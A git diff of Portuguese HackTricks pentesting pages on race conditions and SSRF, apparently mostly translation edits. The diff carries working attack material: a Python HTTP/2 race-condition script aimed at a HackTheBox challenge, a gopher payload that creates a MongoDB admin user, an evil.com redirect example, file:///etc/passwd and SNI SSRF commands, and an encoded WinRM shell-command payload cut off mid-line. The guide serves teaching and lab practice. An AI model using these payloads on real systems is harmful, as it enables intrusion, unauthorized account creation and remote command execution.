`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`exemplos/race-single-packer-attack.py`** no menu suspenso: +* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
@@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1') Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`. {% endhint %} -* **Tubo Intruder - Ataque de pacote único HTTP2 (Vários endpoints)**: Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` para algo como: +* **Intruder de Tubo - Ataque de pacote único HTTP2 (Vários endpoints)**: Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` para algo como: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -111,15 +111,144 @@ engine.openGate(currentAttempt) * Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você poderia **adicionar solicitações extras entre** ambas as solicitações. * Para um RC de **múltiplos pontos finais**, você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**. -
+
-### Raw BF +* **Script Python automatizado**: O objetivo deste script é alterar o e-mail de um usuário enquanto verifica continuamente até que o token de verificação do novo e-mail chegue ao último e-mail (isso ocorre porque no código havia um RC onde era possível modificar um e-mail, mas ter a verificação enviada para o antigo porque a variável que indica o e-mail já estava preenchida com o primeiro).\ +Quando a palavra "objetivo" é encontrada nos e-mails recebidos, sabemos que recebemos o token de verificação do e-mail alterado e encerramos o ataque. +```python +# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun +# Script from victor to solve a HTB challenge +from h2spacex import H2OnTlsConnection +from time import sleep +from h2spacex import h2_frames +import requests -Antes da pesquisa anterior, essas eram algumas cargas úteis usadas que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC. +cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" -* **Repeater:** Verifique os exemplos da seção anterior. -* **Intruder**: Envie a **solicitação** para o **Intruder**, defina o **número de threads** para **30** dentro do menu **Opções e**, selecione como carga útil **Cargas úteis nulas** e gere **30**. -* **Turbo Intruder** +# change these headers + +headersObjetivo= """accept: */* +content-type: application/x-www-form-urlencoded +Cookie: """+cookie+""" +Content-Length: 112 +""" + +bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' + +headersVerification= """Content-Length: 1 +Cookie: """+cookie+""" +""" +CSRF="42a08872-610a-4965-9553-22d7b3aa1827" + +host = "94.237.56.46" +puerto =39697 + + +url = "https://"+host+":"+str(puerto)+"/email/" + +response = requests.get(url, verify=False) + + +while "objetivo" not in response.text: + +urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" + +responseDeleteMails = requests.get(urlDeleteMails, verify=False) +#print(response.text) +# change this host name to new generated one + +Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } +data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF +urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" +responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) + +print(responseReset.status_code) + +h2_conn = H2OnTlsConnection( +hostname=host, +port_number=puerto +) + +h2_conn.setup_connection() + +try_num = 100 + +stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) + +all_headers_frames = [] # all headers frame + data frames which have not the last byte +all_data_frames = [] # all data frames which contain the last byte + + +for i in range(0, try_num): +last_data_frame_with_last_byte='' +if i == try_num/2: +header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 +method='POST', +headers_string=headersObjetivo, +scheme='https', +stream_id=stream_ids_list[i], +authority=host, +body=bodyObjetivo, +path='/challenge/api/profile' +) +else: +header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( +method='GET', +headers_string=headersVerification, +scheme='https', +stream_id=stream_ids_list[i], +authority=host, +body=".", +path='/challenge/api/sendVerification' +) + +all_headers_frames.append(header_frames_without_last_byte) +all_data_frames.append(last_data_frame_with_last_byte) + + +# concatenate all headers bytes +temp_headers_bytes = b'' +for h in all_headers_frames: +temp_headers_bytes += bytes(h) + +# concatenate all data frames which have last byte +temp_data_bytes = b'' +for d in all_data_frames: +temp_data_bytes += bytes(d) + +h2_conn.send_bytes(temp_headers_bytes) + + + + +# wait some time +sleep(0.1) + +# send ping frame to warm up connection +h2_conn.send_ping_frame() + +# send remaining data frames +h2_conn.send_bytes(temp_data_bytes) + +resp = h2_conn.read_response_from_socket(_timeout=3) +frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) +frame_parser.add_frames(resp) +frame_parser.show_response_of_sent_requests() + +print('---') + +sleep(3) +h2_conn.close_connection() + +response = requests.get(url, verify=False) +``` +### Bruto Força Bruto + +Antes da pesquisa anterior, esses eram alguns payloads usados que simplesmente tentavam enviar os pacotes o mais rápido possível para causar uma RC. + +- **Repetidor:** Verifique os exemplos da seção anterior. +- **Intruso:** Envie a **solicitação** para o **Intruso**, defina o **número de threads** para **30** dentro do menu **Opções** e selecione como payload **Cargas nulas** e gere **30**. +- **Turbo Intruso** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -166,11 +295,11 @@ print(results) asyncio.run(main()) ``` -## Metodologia de RC +## Metodologia RC ### Limite de estouro / TOCTOU -Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado [**neste relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou neste [**bug**](https://hackerone.com/reports/759247). +Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado neste [**relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou neste [**bug**](https://hackerone.com/reports/759247)**.** Existem muitas variações desse tipo de ataque, incluindo: @@ -182,7 +311,7 @@ Existem muitas variações desse tipo de ataque, incluindo: ### Subestados ocultos -Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou **não intencionais da máquina**. Veja como abordar isso: +Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados de máquina ocultos ou **não intencionais**. Veja como abordar isso: 1. **Identificar Subestados Ocultos Potenciais** * Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em: @@ -212,7 +341,7 @@ A precisão no timing das solicitações pode revelar vulnerabilidades, especial ### Pagar e adicionar um item -Confira este [**Laboratório PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que **não precisará pagar por ele**. +Confira este [**Laboratório PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que **não precisará pagar**. ### Confirmar outros e-mails @@ -226,15 +355,15 @@ De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the- ### Estados ocultos do banco de dados / Bypass de confirmação -Se **2 gravações diferentes** são usadas para **adicionar informações** dentro de um **banco de dados**, há um pequeno período de tempo em que **apenas os primeiros dados foram gravados** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o **token para confirmar uma conta é nulo**. +Se **2 gravações diferentes** são usadas para **adicionar** **informações** dentro de um **banco de dados**, há um pequeno período de tempo em que **apenas os primeiros dados foram gravados** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o **token para confirmar uma conta é nulo**. Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail. **Confira este** [**Laboratório PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para tentar isso.** -### Bypass de 2FA +### Bypass 2FA -O seguinte pseudo-código é vulnerável a condição de corrida porque em um tempo muito curto o **2FA não é aplicado** enquanto a sessão é criada: +O pseudo-código a seguir é vulnerável a condição de corrida porque em um tempo muito curto o **2FA não é aplicado** enquanto a sessão é criada: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -245,7 +374,7 @@ session['enforce_mfa'] = True ### Persistência eterna do OAuth2 Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\ -Portanto, até aqui é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \ deseja acessar suas informações, você deseja permitir?_" +Então, até aqui apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \ deseja acessar suas informações, você deseja permitir?_" #### Condição de corrida em `authorization_code` diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md index 9f890610d..74356e682 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -3,7 +3,7 @@
\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\ +Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -17,12 +17,11 @@ Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - ## Informações Básicas Uma vulnerabilidade de **Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** a um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante. @@ -51,28 +50,23 @@ Normalmente, você descobrirá que o SSRF está funcionando apenas em **certos d ### Bypass via redirecionamento aberto -Se o servidor estiver corretamente protegido, você poderá **burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web**. Como a página da web permitirá **SSRF para o mesmo domínio** e provavelmente seguirá os redirecionamentos, você pode explorar o **Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno**.\ +Se o servidor estiver corretamente protegido, você poderá **burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web**. Como a página da web permitirá **SSRF para o mesmo domínio** e provavelmente seguirá redirecionamentos, você pode explorar o **Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno**.\ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Protocolos -- **file://** -- O esquema de URL `file://` é referenciado, apontando diretamente para `/etc/passwd`: `file:///etc/passwd` - -- **dict://** -- O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo dado ilustra um URL construído direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://;@:/d:::` - -- **SFTP://** -- Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/` - -- **TFTP://** -- O Protocolo de Transferência de Arquivos Triviais, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma solicitação a um servidor TFTP. Uma solicitação TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - -- **LDAP://** -- Este segmento abrange o Protocolo de Acesso a Diretórios Leves, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídos em redes IP. Interaja com um servidor LDAP em localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` - -- **SMTP** -- Um método é descrito para explorar vulnerabilidades de SSRF para interagir com serviços SMTP em localhost, incluindo etapas para revelar nomes de domínio internos e ações investigativas adicionais com base nessas informações. +* **file://** +* O esquema de URL `file://` é referenciado, apontando diretamente para `/etc/passwd`: `file:///etc/passwd` +* **dict://** +* O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo dado ilustra uma URL construída direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://;@:/d:::` +* **SFTP://** +* Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/` +* **TFTP://** +* O Protocolo de Transferência de Arquivos Triviais, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma solicitação a um servidor TFTP. Uma solicitação TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` +* **LDAP://** +* Este segmento abrange o Protocolo de Acesso a Diretórios Leves, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídos em redes IP. Interaja com um servidor LDAP em localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` +* **SMTP** +* Um método é descrito para explorar vulnerabilidades de SSRF para interagir com serviços SMTP em localhost, incluindo etapas para revelar nomes de domínio internos e ações investigativas adicionais com base nessas informações. ``` From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 @@ -80,13 +74,13 @@ From https://twitter.com/har1sec/status/1182255952055164929 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 4. connect ``` -- **Curl URL globbing - Bypass de WAF** -- Se o SSRF for executado pelo **curl**, o curl possui um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que pode ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) você pode encontrar este exemplo de **travessia de caminho via protocolo `file`**: +* **Curl URL globbing - Bypass de WAF** +* Se o SSRF for executado pelo **curl**, o curl possui um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que poderia ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) você pode encontrar este exemplo de **travessia de caminho via protocolo `file`**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` -- **Gopher://** -- A capacidade do protocolo Gopher de especificar IP, porta e bytes para comunicação com o servidor é discutida, juntamente com ferramentas como Gopherus e remote-method-guesser para criar payloads. São ilustrados dois usos distintos: +* **Gopher://** +* A capacidade do protocolo Gopher de especificar IP, porta e bytes para comunicação com o servidor é discutida, juntamente com ferramentas como Gopherus e remote-method-guesser para criar payloads. São ilustrados dois usos distintos: ### Gopher:// @@ -114,7 +108,7 @@ QUIT gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` -**Gopher SMTP — Conexão de retorno para 1337** +**Gopher SMTP - Conexão de retorno para 1337** {% code title="redirect.php" %} ```php @@ -125,14 +119,22 @@ https://example.com/?q=http://evil.com/redirect.php. ``` {% endcode %} - +#### Gopher MongoDB -- Criar usuário com nome de usuário=admin com senha=admin123 e com permissão=administrador +```bash +# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished +curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 +7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a +%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00% +06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00 +%00%00administrator%00%00%00%00' +``` ## SSRF via cabeçalho Referrer e Outros -O software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que expõe inadvertidamente as aplicações a vulnerabilidades de Solicitação de Requisição do Lado do Servidor (SSRF). Isso ocorre porque esse tipo de software pode visitar URLs externos mencionados no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque SSRF. +O software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que expõe inadvertidamente as aplicações a vulnerabilidades de SSRF (Server-Side Request Forgery). Isso ocorre porque esse tipo de software pode visitar URLs externos mencionados no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, é aconselhável usar o plugin do Burp Suite "**Collaborator Everywhere**", aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque de SSRF. ## SSRF via dados SNI do certificado -Uma configuração incorreta que poderia permitir a conexão com qualquer backend por meio de uma configuração simples é ilustrada com um exemplo de configuração do Nginx: +Uma configuração incorreta que poderia permitir a conexão a qualquer backend por meio de uma configuração simples é ilustrada com um exemplo de configuração do Nginx: ``` stream { server { @@ -143,7 +145,7 @@ ssl_preread on; } } ``` -Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade ao Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo: +Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade a Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` @@ -161,13 +163,13 @@ Se a página da web estiver criando automaticamente um PDF com algumas informaç Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões. -## Funções PHP SSRF +## Funções PHP de SSRF {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) {% endcontent-ref %} -## Redirecionamento SSRF para Gopher +## Redirecionamento de SSRF para Gopher Para algumas explorações, você pode precisar **enviar uma resposta de redirecionamento** (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento: ```python @@ -179,7 +181,9 @@ class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) -self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%